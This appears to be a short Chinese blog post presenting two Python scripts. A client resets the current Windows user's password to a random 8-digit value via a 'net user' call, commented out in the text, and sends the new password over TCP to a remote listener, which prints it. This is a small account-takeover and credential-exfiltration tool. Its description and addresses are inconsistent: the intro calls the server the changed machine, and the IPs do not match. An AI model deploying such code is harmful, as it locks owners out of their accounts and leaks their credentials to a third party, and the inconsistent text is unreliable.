分两个文件,服务端(被修改密码的计算机)要一直运行。
1.client.py
# -*- coding: utf-8 -*-
import getpass#提供平台无关的在命令行修改密码方法
import subprocess#获取计算机账号
import socket
import random
#创建套节字,目的是在网络中找到客户端,ipv4,看直播udp,聊qq则tcp。socket能找到要修改的主机
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((“192.168.0.196”,8080))
#获取自己计算机用户名
user=getpass.getuser()
psd=””#随机密码
for j in range(1,9):
m=str(random.randrange(0,10))
psd=psd+m
#控制windows cmd修改密码,即可修改成pwd中密码
#subprocess.Popen([‘net’,’User’,user,psd])
client.send(psd.encode(‘utf-8’))
client.close()
print(psd)
2.server.py
# -*- coding: utf-8 -*-
import socket
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((‘192.168.0.1’,8080))#绑定端口
server.listen(5)#监听5个
print(‘waiting…’)
conn,addr=server.accept()#创建连接
print(conn)
print(‘its ip’,addr)
client_msg=conn.recv(1024)
print(‘new password is:’,client_msg)
conn.close()
server.close()